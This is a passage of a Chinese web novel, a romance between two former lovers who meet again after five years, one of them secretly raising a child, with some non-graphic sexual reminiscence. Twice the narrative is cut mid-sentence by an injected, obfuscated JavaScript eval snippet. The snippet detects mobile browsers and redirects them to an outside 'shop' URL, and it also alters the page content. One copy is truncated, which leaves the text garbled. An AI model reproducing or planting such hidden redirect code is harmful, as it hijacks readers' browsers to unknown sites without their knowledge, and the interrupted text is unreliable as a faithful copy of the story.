苏致秋感觉自己又开始产生幻觉了。 为了转移注意力,他移开视线看了看周围的建筑,发现这是一处地处市中心的高级住宅区。 “这是……” 他皱起眉,抬头看向凌岁寒。 凌岁寒盯着他,道:“我家。” 苏致秋面露迟疑。 凌岁寒误会了他的意思,补充了一句,“这边安保好,狗仔和私生进不来。” 苏致秋听出来这是他不经常来的房子,松了口气。 那他的妻子和孩子应该不在这里。 随后,他又为自己的反应恨铁不成钢起来。 不管是不是,与他又有什么关系呢。 凌岁寒朝地库开去。 车内暖气很足,今晚在楼梯间时的冰冷恨意不复存在,车内的氛围难得算得上温馨。 他的态度平静自得,仿佛两人只是一对一起回家的寻常情人一般。 但苏致秋却知道,他们并不是。 他慢慢收紧拳,抬头看了一眼点滴瓶,轻轻敲了敲驾驶座,道:“麻烦停下车。” 车辆已经下坡进了地库,凌岁寒一手握紧了方向盘,出口的话依旧风轻云淡。 “再坚持一会,马上到了。” 苏致秋顿了顿,还是轻声道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498523|202616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “点滴要完了,你快回去睡觉吧,我自己打个车走就行。” “我就不去打扰了。” 他的声音算不上多大,但在安静的车内还是足以让另一个人听清。 “客气什么,”凌岁寒依旧没停车,淡淡道:“你有地方可去?” “我打车回公司开车就好。” 苏致秋道。 凌岁寒挑起眉,“你现在这样,能开得了车?” 苏致秋笑了笑,“能,放心吧,没问题的。” “我怕在明早的交通新闻里看到你。” 凌岁寒嗤了一声,“警察还要找我谈话。” “我,我听方星说,”苏致秋终究还是忍不住暗示道:“你答应了他姐姐要送他回家。” 后视镜中的人眯了下眼,面色如常地说:“你知道的倒不少。” “已经三点多了,”苏致秋不想说得那么直白,只提醒道:“你还不回家……不太好吧,家里人会担心的。” “不会,我平时不怎么回家,他们已经习惯了。” 凌岁寒轻描淡写道。 可苏致秋却没再和他你一言我一语下去。 “凌少,停车!” 他声音并不大,握着方向盘的那只手却一僵。 不知是为这个称呼,还是为那股夹杂着一点崩溃的愤愤语气。 车猛地停下,距离大门仅剩一步之遥。 凌岁寒终于解开安全带,回过头来看向他。 迎上那双熟悉的眼眸,苏致秋在其中看到了脸色苍白的自己。 他这才意识到自己刚刚似乎有点失态了。 车内表面维持的平和瞬间破碎,取而代之的是令人难以忽视的寒意,仿佛空气都凝固了。 凌岁寒吐出几个字,“厉害。” “苏老板,”他笑得嘲讽,回敬道:“你果然还是那么虚情假意。” 苏致秋听着他对自己又变回那个疏离的称呼,不知是何种滋味。 “用得着人的时候就抱着不松手,没事了就赶紧一脚踹开,人家只是多说两句话,就马上翻脸。” 地库灯光明亮,打在凌岁寒的脸上,照亮他勾起的唇角,是不屑的弧度。 “你怎么好意思的?” 苏致秋呐呐地发出几个音节。 “不是,我怕产生误会……” 咔哒一声,打断了他不成句的话。 车门开了。 “滚吧。” 凌岁寒冷冷吐出两个字。 苏致秋不想惹他不开心。 可不知为何,面对别人时,他总能谈笑风生,一面对凌岁寒,他就不知该如何开口。 “快点。” 凌岁寒已经转过了身,背对着他催促道:“很晚了,你刚刚不是还提醒我赶紧去陪家人吗,现在却在这耽误我时间。” 听到这话,苏致秋回过神来,赶紧应了一声。 药水瓶里还剩了最后一个底,苏致秋没有等它输完,就直接给自己拔了针。 他动作仓促,又不是很熟练,针孔冒出几滴血珠,被他拿着药棉随手捂住。 还好,不是很疼。 苏致秋拎起袋子,推门下了车。 他没再说道别的话,只默默按照路牌一点点地朝外走。 走过一个拐角的时候,身后有亮光扫过,两盏车灯滑过来,慢慢逼近,最后竟停在他身边。 苏致秋扭头望去,是凌岁寒的车。 不知为何,说走的是他,但看到凌岁寒追上来的时候,他还是有点感动。 凌岁寒摇下车窗,注视着前方,淡淡开口,“衣服还我。” 苏致秋愣了一下,下意识低头一看,这才意识到自己还披着凌岁寒那件黑色大衣。 他虽没有凌岁寒那么高,却也是个腰细腿长的衣架子,这大衣他穿着略长了一些,但还挺合身。 合身到都忘了这是凌岁寒的衣服。 意识到自己又多想了,苏致秋微窘,连忙脱下大衣,拉开副驾驶的车门,轻轻放到了副驾上,盖住了那个红色小汽车。 大衣被他穿了一晚上,沾染上了他的体温与味道,让苏致秋有点尴尬。 砰的一响,车门被他关上。 下一秒,凌岁寒调头离开,从始至终没有给他一个眼神。 苏致秋目送他离开,继续朝前走,只在即将离开地库的时候,回头看了一眼。 凌岁寒的车已经不见了踪影,应当是回家了。 12. 第 12 章 到了公司开上车,到家躺下的时候已经是凌晨四点了。 北方的冬夜长,万物依旧陷入沉睡,苍茫天地间如墨般的深蓝。 或许是没有了身上的大衣,也或许是怀里的热水袋已经慢慢变温,一向不怎么怕冷的苏致秋浑身发抖。 冷得仿佛五脏六腑都被凝结成霜。 即使他把自己裹在被子里,依旧缓不过劲来,不停地发着抖。 只有三个多小时,他就要起床了,所以他必须尽快睡着,保证明天的工作。 但越是想睡,苏致秋就越是睡不着。 只要一闭上眼睛,他面前浮现着的就是凌岁寒拿着那个红色小汽车说拿去哄人的画面。 还有他提起家人时那自然的神色,亲昵的用“她”指代。 其实这都只是很普通的小事,可正是这样寻常的小事出现在凌岁寒身上,才不普通。 凌岁寒这样的人能许给别人一段婚姻,甚至有了孩子,那就说明他一定深爱着对方。 他还记得凌岁寒亲口说过的话,“我讨厌家庭,更讨厌小孩。” 在那之前,苏致秋甚至连和凌岁寒去哪里结婚都想好了,但听完这句话后,他打消了这个念头。 他不想给凌岁寒压力。 所以凌岁寒得多么爱那个女人啊,甚至愿意违背自己的意愿和她组建一个家庭。 五年前他已经伤害了凌岁寒,难道五年后,他还要再伤害一次凌岁寒心爱的女人么。 想到这里,苏致秋就一阵难言的窒息,仿佛有什么又酸又涩的一大团东西堵住他的喉咙,逼得他眼眶发热。 苏致秋从来不愿意让别人误会,也不愿意让别人难过。 一个合格的前任不应该再出现在现任面前。 无论是凌岁寒,还是他的妻子与孩子,他们都是无辜的。 只有他是这一切罪恶的源头。 倘若因为他,破坏了凌岁寒现在美满的家庭,恐怕本就怨恨他的凌岁寒连杀了他的心都有了吧。 他连去以死谢罪,凌岁寒都不会稀罕。 其实不用凌岁寒,如果伤害到了无辜的人,苏致秋就会先恨死自己的。 要不是扎过针的手背不时传来刺痛,提醒着他今晚发生的一切,苏致秋几乎要以为这只是一个梦。 梦中的凌岁寒会耐心哄他坐好,会把热水袋放到他输液的手上暖着,会在他晕倒的时候一把抱起他…… 可这么体贴的凌岁寒,或许也是因为自己的家庭,才有了这么多照顾人的经验吧。 他只是一个暂时享受到属于凌岁寒妻子的待遇的……外人。 不,或许也算不上。 毕竟凌岁寒对他这个“背叛者”都这么照顾,对自己的爱人应当只会更耐心体贴吧。 苏致秋不敢再深想。 梦,该醒来了。 他强迫自己入睡,却一直在梦魇中挣扎,无论如何都睡不安稳。 直到天边慢慢泛起鱼肚白,一个热乎乎的小团子一扭一扭地钻进了他的被窝里。 苏致秋想睁眼看看,但他刚生完病,身体虚,愣是没有力气。 一双小手轻轻按在他的额头上,小声嘀咕了一句,“不烫呀。” 过了一会,苏致秋就感觉脸蛋一痒,似乎是某个小孩亲了他一口。 随后,一阵窸窸窣窣,怀中一热,苏团团熟练地抱住他的胳膊,头一歪,靠着他睡着了。 被他这么一打扰,苏致秋终于摆脱了梦魇,迷迷糊糊地搂住小孩,安稳地陷入梦乡。 * 方星敲了足足十分钟的门,又给凌岁寒连打了二十几个电话,却根本没人回应。 在他惊恐地怀疑自己要被邻居举报扰民带走的时候,大门终于在他面前打开了。 凌岁寒眼睛半睁着,神色疲倦,明显没睡醒。 他赶紧窜进去,生怕人反悔给他丢出门。 “你怎么五点就给我发信息,是没睡还是醒了?肯定是还没睡吧?” 方星一边说,一边百无聊赖地打量了一圈四周,“哦对,还换地方了,怎么回事,怎么突然大半夜跑壹号院来住了?发生什么事了?” 他叽里呱啦的问话没有得到一个回应。 凌岁寒给他开完门后,已经头也不回地直接回房间了。 方星:“……” 他深吸一口气,任命地推门进去。 果不其然,房间紧紧拉着窗帘,一片昏暗。 凌岁寒的卧室延续了客厅的极简风,不是那种最近流行的极简风,而是真正意义上的——什么家具都没有。 偌大的卧室内,除了遮光的窗帘,刷好的墙壁,铺好的地板砖,只有一张床。 还不是什么特殊的床,就是一张再普通不过的席梦思,双人的,仿佛随时就能被替换掉。 客厅也是如此,只空荡荡地摆着一张寻常的木桌,一把椅子,什么沙发、电视、储物柜通通都没有。 和家徒四壁也没什么区别。 弄得方星第一次来的时候,吓得差点报警,以为凌岁寒家里遭贼了,贼还挺狠,就差没把房子偷成毛坯了。 屋子里的一切都和刚交房的时候,没有什么区别。 似乎生活在这里的人,只有基本的生理需求,找不到一丝对生活的热爱。 但要这么说,好像也不是。 一开始,方星也以为凌岁寒只是单纯的购置一处资产,所以才懒得装修。 可当他不小心把手里的饮料洒到墙边的时候,凌岁寒脸上的心疼简直藏不住,给他骂得狗血淋头。 那是他第一次见凌大少爷那么勤快地跑过来……做家务,拖把、抹布齐上阵,总算把墙壁恢复了整洁。 而他在其他房子里,不小心用打火机把凌岁寒高价拍回来的一幅画烧了个洞,凌岁寒眼皮都没动一下。 所以,方星是真的不懂。 这样的人,怎么看都不像不在乎这个房子,倒像是太在乎了,反而束手无策,不知该怎么办才好。 更别提,这个小区的房子一平就二十万,但要说户型、设施有什么特别的,好像也没有。 唯一的优点就是地理位置好,晚上站在落地窗边,可以将整个北城的繁华夜色尽收眼底,万家灯火,非常浪漫。 根据他对凌岁寒的了解,会买下这么一座除了浪漫没什么优点的昂贵房产,本身就不寻常。 而且买了也不住,一年也过不来两次。 方星从中嗅到了阴谋的味道,但他又实在猜不出来,每次来这里都抓心挠肺。 他直觉他姐应该知道,可每次旁敲侧击地问她的时候,他姐都闭口不谈。 难不成是预备着金屋藏娇,他若有所思地摸摸下巴。 可那个“娇”未免也太难搞定了吧,这都好几年了,凌岁寒居然还没追到人家。 可见绝对不是一般人。 方星的目光落到大床上,凌岁寒已经头朝下躺好,盖着被子又睡着了。 “……” “起床了,”方星探出一只手,推推他,“吃个饭该去了。” 被子里的人纹丝不动。 “真得不早了,今天拍摄的时间早,你要是再不起,我该迟到了。” 方星这次加重了力气,拍了拍被子。 埋在枕头里的人依旧没有回应,要不是方星了解他,几乎要以为他晕过去了。 他想再叫叫,又惧怕凌岁寒能拆房的起床气,只好悻悻地收回手,头疼地看着床上的人。 “你昨晚干什么去了啊?”方星小声嘟哝着,“五点还不睡?” 方星说着,忽然想起什么,偷偷瞟了床上的人一眼,打开手机的行车轨迹看了看。 这一看,他眼睛都瞪大了。 “凌岁寒!” 方星震惊地连名带姓地叫出口,扑到床边晃人,“你,你,你胆子也太大了吧?” “大半夜的,你不睡觉,开车跑去逛街吗?去了医院,还去了药店,你生病了?” 方星小心翼翼地瞅了瞅凌岁寒的睡颜,除了眼底的青灰色,一切正常。 “看着不像啊。”他小声嘀咕了一句。 再一看,音量忍不住再次飙升。 “不对!你昨晚不是很早就走了吗?怎么显示十二点你的车才离开那个大厦,比我还晚?” 方星越说越来劲,十分兴奋。 “你到底干啥去了,陪谁看病去了?哪个艺人,男的女的,我认识吗?你还带他来这里了?等等,怎么又走了,是不是人家看见你这家徒四壁,以为你破产了,给吓跑啦。” “啊!” 方星惨叫一声,被飞出来的一个枕头正中鼻子,差点从床上翻下去。 “你也太狠了吧,幸亏我这鼻子不是做的。” 方星捂着鼻子,委屈死了,“难道是我戳中你的痛处了?人家真不愿意来?” 说着说着,方星又犯了老毛病,嘴碎起来,“不应该啊,你这张脸一亮出来,就算是家徒四壁,也没人不愿意吧?更何况圈子里没人不认识你啊……” 方星仔细琢磨了半天手机上的行车轨迹,见床上的人根本不搭理他,也歇了兴致,蔫不拉几地关上手机。 “凌晨三点到家后,过了五分钟,你又离开去了宝红路小区,五点多才回来。” 方星脑海中冒出一个自己都不敢相信的想法,他匪夷所思地开了口,“凌哥,别告诉我人家不愿意来,你又把人送回家了?” 尽管凌岁寒依旧背对着他闭着眼睛,但方星还是敏锐地从这股沉默中察觉到了一丝不寻常。 他猜的……好像是真的。 这次轮到方星沉默了。 他已经不对那位“娇娇”好奇了,而是转成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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凌岁寒瞥了他一眼,皱起眉道:“别在我卧室吃东西。” 方星熟练地挪到卧室门框外,看着他。 凌岁寒懒得理他,拿起衣架上的衣服看了看,犹豫一下,又放回去,换了旁边的另一件。 他一边换衣服,一边慢慢道:“骗子哄傻子,一个敢骗,一个敢信。” 方星被逗得哈哈大笑起来。 笑着笑着,他忽然觉得不对,笑容凝固在脸上,狐疑地问:“你在骂我是傻子?” 凌岁寒轻哼一声。 方星豆浆也不喝了,开始争辩。 “就算你骂我傻,可苏哥真不是骗子,你不知道,他当时夸我的时候,眼睛亮晶晶的,笑得都弯起来了,一看就是真心喜欢我……” 他的话被男人毫不留情地打断。 “你入圈多久了,也快半年了吧?” 凌岁寒转身看他,声音有点冷。 “别告诉我你还停留在别人说什么你信什么的阶段,他现在是温觉非工作室的二把手,你这种刚火的小新人,可是他最合适的合作对象,他当然要搞好和你的关系。” 方星被他这严肃的态度弄得有点懵,过了片刻,才哦了一声。 “他那种人聪明得很,最擅长用甜言蜜语让人放下防备了,你要是真信了他多么喜欢你,那才是真傻子,早晚有你哭都哭不出来的那天。” 方星虽觉得他语气有点怪怪的,但看在一向懒得搭理人的凌岁寒破天荒给他讲了这么多道理的份上,依旧感动地点点头,道:“知道了。” “所以你在工作室里少去粘着他,”凌岁寒从洗手间洗漱好出来,“他跟你说了什么事,先问问我再说。” 方星觉得“粘着”这个词不太恰当,有种微妙的嫌弃感,但又想不出什么反驳理由,只好哦了一声。 不过…… “凌哥,你好像很了解苏哥啊,”方星迷茫地眨眨眼,“你俩好像都没说过话吧?” 凌岁寒系着扣的手一顿,系好后才慢条斯理地说:“这种事我见多了。有时候,人家就是跟你客气一下,你听听就行了,别往心里去。” 方星蔫蔫地嗯了一声。 凌岁寒瞟了他一眼,对着镜子理了两分钟的头发,这才道:“走吧。” 方星跟在后面,走到洗手间门口时,余光瞥见一件放在脏衣篓上的衣服。 他看了一眼,忽然发现是凌岁寒昨天穿过的那件大衣。 “咦,那件大衣昨天不是才穿了一天吗?” 方星指着问道:“怎么就要洗了?” 不等凌岁寒开口,他又问了一句,“别要了,我再送你一件吧,朱月姐昨天还说给咱俩买了同款,就是颜色不一样,不过我怕你的粉丝骂我和你穿情侣装卖腐……” “不用。” 凌岁寒轻描淡写地拒绝了,“你都留着自己穿吧。” “对了,你还没说呢,大衣怎么弄脏了?” 方星随口问。 过了半晌,久到电梯停在两人面前,凌岁寒才含糊了一声,不自在地低头调整了一下皮带,想起了什么,耳垂泛起一抹红。 13. 第 13 章 苏致秋一边忙着煎蛋,一边哄着一脸郁闷地坐在桌边的苏团团。 昨晚他回来得晚,苏团团跟着苏致枫不习惯,半夜才睡着,后来又自己醒了,跑到这屋来找他,根本没睡好。 苏致秋用了半年才把他这个起床气治好,现在可倒好,一夜回到解放前。 怎么叫都叫不醒,拍、推、喊……苏致枫种种招数都用上了,床上的小孩一点反应都没有。 最后气得他把苏团团强行从被子里抱出来,苏团团总算舍得睁开眼了。 不等苏致枫开口,啪叽一下,苏团团又一头栽倒在枕头上,打着小呼噜睡得不省人事。 苏致枫:…… 他彻底败了,只好去厨房换下苏致秋。 苏致秋熟练地连哄带骗,软硬兼施,很快把小家伙从床上薅了起来。 只是人是起来了,坐在饭桌上却依旧半梦半醒地把手往杯子里伸,幸亏被苏致秋一把拉住。 “这小呼噜打得,睡得真香啊,”苏致枫叹为观止,啧啧道:“哥,你真厉害,也就是你能叫起来了。” 苏致秋笑了笑,脱口而出,“习惯了,以前更难哄的我都……” 话音落下,他自己先愣了一下,掩饰地低下头去。 好在在场的其余两人,一个困得迷迷瞪瞪,一个以为他说的是团团,谁也没问。 苏致秋垂下眸,草草吃了两口,就站起来收盘子。 出门穿衣服的时候,苏致秋想起什么,从口袋里掏出那个门禁卡。 苏致枫一看,惊讶地问:“找回来了?” “嗯,运气好,”苏致秋不想多说,只一句带过,“不用换门锁了。” “那就好,我以为丢了这么多天肯定找不到了呢,有缘分啊。” 说者无心,听者有意。 苏致秋手插进口袋,摸到里面的钱包。 那天他匆匆离开后,钱包应当是被那位女士捡起来了,所以才会出现在凌岁寒的车里。 他也不确定凌岁寒有没有打开这个钱包,有没有看到里面的那张照片。 不过,就算看到了也没什么,他的粉丝多了,男粉也不在少数。 那天他没看见自己,肯定也不会怀疑到自己身上,不会发现团团的。 这么一想,苏致秋心中安定了一点。 三个人正准备朝外走,磨磨唧唧对着镜子再一次理头发的苏团团忽然注意到什么。 “爸爸,你的屁股怎么了?” 苏致枫先一步去按电梯了,苏致秋站在门口等苏团团。 听到声音,他扭头看了一下,什么也没看见。 “怎么了?” 苏团团瞪大双眼,也不困了,疑惑地问:“爸爸,谁踹你的屁屁了,为什么你的屁股上有个鞋印啊?” 苏致秋先是一愣,随后立刻回过神来。 腾的一下,好似一股火从脚底板烧到脸蛋,苏致秋尴尬地差点整个人红透了。 到底怎么回事啊! 他昨天又坐又站的,居然都没把凌岁寒的鞋印蹭掉,还让孩子给看见了! 团团小手认真地在他屁股上拍了拍,这才收回手,洁癖地从口袋里拿出湿巾擦了擦手,一本正经道:“好啦,爸爸的屁屁干净啦。” 苏致枫过来,看见他们这别扭的动作怔了怔,怪异地看了苏致秋一眼。 苏致秋顾不上跟苏致枫解释,谢过团团后,红着脸进了电梯。 电梯缓慢下行,苏致枫忍不住开口,“哥,你昨天……” 苏团团却忽然举起手要说话,他不敢插嘴,怕苏致秋批评他。 苏致枫示意他说。 “爸爸,是谁啊?” 苏团团白嫩的小脸蛋皱成一团,一双山葡萄一样的大眼睛都眯起来,极力做出凶巴巴的表情。 “谁敢欺负我爸爸,我要去揍他!” 苏致枫觉得好玩,问:“人家可是大人哦,你要怎么揍他啊?” 苏团团冥思苦想了半天,才在出电梯的时候,认真道:“我可以踩着凳子,趁他不注意,也狠狠地给他屁股一脚。” 说完,苏团团非常不屑地看了苏致枫一眼,“你又想嘲笑我矮,别以为我不知道,我是不会上你的当的。” 苏致枫噗嗤一声,笑得前仰后合。 苏致秋头疼地按了按眉心,一边把苏团团塞进儿童座椅,一边嘱咐。 “不许踹别人的屁股,也不许踩到凳子上,要是我听到幼儿园老师说你欺负小朋友,回来我就揍你的屁股。” 苏团团这才闭上嘴巴。 见这个话题被岔开,苏致秋总算松了口气。 等把两人都送到目的地,车里只剩下苏致秋自己的时候,他忍不住回想起昨天那个场景。 回想起凌岁寒那个带着淡淡烟草味的怀抱。 刚刚降温的脸再次面红耳赤。 其实昨晚半梦半醒间他似乎又……梦到了凌岁寒,他有了反应,但被自己强行克制住了。 苏致秋深吸一口气,不知是不是错觉,有了团团后,他的欲望似乎更强烈了。 已经二十好几的人了,却还像十七八的时候不禁撩拨。 再次遇到凌岁寒后,这种情况似乎更严重了,在贵城的时候,他带着孩子无心考虑这些事,忍忍就过去了。 但最近这几天,他几乎每晚躺在床上都有种难言的渴望,仿佛五年来积攒的欲望报复性地冲破阀门,汹涌而来。 要不是团团就睡在旁边,苏致秋几乎要挺不住自己解决了。 而最令他懊恼的,是每当他燃起欲望的时候,浮现在脑海中的画面总和那个人有关。 有最近的画面,而更多的是五年前的记忆。 苏致秋也不知道自己怎么会把床上那些事记得那么清楚。 其实就算凌岁寒技术很差,苏致秋只要看到他那张脸,就感觉自己已经爽到了。 但偏偏有一点他不得不承认,凌岁寒很猛很带劲。 那样的脸,那样的身材,还……特别会,想法很花,明明第一次时还很青涩,第二次简直就无师自通了。 总之,十八九岁的凌岁寒很要命。 车停到楼下,苏致秋将头抵在方向盘上静了一会,这才感到脸上的热意降了下来。 尽管如此,再次和凌岁寒打照面的时候,苏致秋还是有点窘迫。 今天方星和凌岁寒来得稍晚了几分钟,方星一进来就和他解释说是堵车了。 苏致秋深知早高峰的可怕,没说什么,反倒安慰了他两句。 方星笑起来,笑着笑着,似是突然想起什么,赶紧收起笑容朝后一看。 苏致秋下意识顺着他的视线看过去。 凌岁寒从门口晃了进来,带着点还没完全褪去的起床气,脸色冷淡。 昨晚男人让他滚下车的时候已经是三点了,想必凌岁寒也没睡好。 苏致秋没有留意方星的脸色变化,他正用尽全身控制力不让自己看凌岁寒。 但这有点难,因为旁边宣传组的那个小姑娘忽然倒吸了一口气。 苏致秋以为是有什么事,便转身想问问她,一抬起头,却见工作室里的几个女孩不约而同地看向门口,脸上带着掩饰不住的迷之微笑。 他顿了一下,还是抬眸看过去。 这一看,苏致秋也整个人怔在原地。 有那么一瞬间,苏致秋以为自己穿越了,穿回了他们十几岁时的那个冬天。 那个冬天,凌岁寒曾经有一张路人拍的照片上过热搜,就是今天这个打扮。 苏致秋惊讶地发现,直到五年后,他竟依旧能清晰地回忆起那张照片上的内容。 少年乌眉黑发,一双漂亮冷漠的桃花眼,鼻子很直很挺,殷红的薄唇在苍白的冬季极为招眼。 身上穿着雪白的短款羽绒服,下身修长的腿裹着浅蓝色的牛仔裤,一双白色板鞋。 微弱的路灯打在他身上,羽绒服帽子上的一圈白色绒毛扫过他的下颌,衬得他皮肤愈发白皙清冷。 少年单肩挎着书包,似乎察觉到镜头,随意一瞥,眼神淡漠。 昏暗的小巷口,人来人往,他是唯一一抹光亮,仿佛天空飘落的一片傲然凌世的雪花,却又因手里拎着的一袋炒面而沾染上属于人间的烟火气。 热搜标题——本年度最触动人心照片。 那年他们还没出道,凌岁寒还未满十八岁,上 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照片上那双淡漠空洞的眼,此刻却困意朦胧地看着他,充满令人难以忽视的依赖与亲昵。 这个对比让苏致秋的心又狠狠地停跳了一拍。 那年,他已经朦朦胧胧地意识到自己的性取向,也意识到,他似乎对比自己小两岁的凌岁寒,有某种别样的情感。 那年,还没开窍的少年凌岁寒偶尔也会叫他一声哥,很黏他,是纯拿他当好哥们的那种黏糊,无关情/色与暧昧。 无论放学多累都要跑去找他,会给他买他爱吃的所有东西。 明明有司机接送,却坚持特意多坐好几站地铁送他回出租屋,一路上不停地跟他讲学校里的事,甚至说得过了站。 即使自己困得眼都睁不开了,也一定要把唯一一个空座位留给苏致秋坐,人多的时候会把他护在胳膊里。 一到周六日放着花园别墅不回,偏要躺在他简陋的出租屋里睡大觉,一点不见平日挑剔的大少爷模样…… 那样骄矜的一个人,曾经也恨不得跪在地上,把一颗心剖出来捧到苏致秋面前,还怕他不要。 只是,那颗心最终还是被他苏致秋自己亲手毁掉了。 他把那颗看似高傲实则极其脆弱的心丢在地上,还要狠狠地踩上两脚,踩成碎片,最终抛下无措的凌岁寒一个人,扬长而去。 十七八的凌岁寒还没那么成熟,看到热搜还是很得意的,分明很开心,却依旧一脸淡定地不置一词。 末了,还要表面不经意间地问他一句,“你觉得怎么样?这张照片真有大家说的那么好看吗?” 实则超级在意地把手在口袋里捏成拳头,生怕他说一句不好。 而现在的凌岁寒…… 苏致秋被耳边的小声抽气声惊醒,看着凌岁寒慢慢朝自己走近,越走越近,一步之遥。 不知是不是他的错觉,他似乎都能嗅到对方身上那熟悉的淡淡桔香。 有那么一瞬间,苏致秋几乎要怀疑凌岁寒会停在自己面前。 然后像从前一样故意叫他一声哥哥,很坏地拖着尾音逗他,“哥哥,又看呆了吗?我今天很帅吧,你是不是爱惨我了?” 然而,没有。 很快,凌岁寒的白色羽绒服擦着他的肩膀,越过他,插着兜头也不回地走了过去。 没有看他一眼,好似真得不认识他了一样。 徒留苏致秋站在原地,目光下意识地追随着他的背影。 从在商场看到他第一眼起,已经一个多星期了。 可直到这一刻,或许是凌岁寒今天的打扮让他梦回五年前,他才这么清楚地明白什么叫“物是人非”。 同样的穿着,同样的人,同样的气质。 不同的是凌岁寒手里再也不会拎着那袋子跟他格格不入的炒面,更不会只在他面前停留,露出满眼都是他的笑。 他们已经分手了,是直接从情人变敌人的那种分手,恩断义绝。 他了解凌岁寒,所以他很清楚,他们之间永无复合的可能。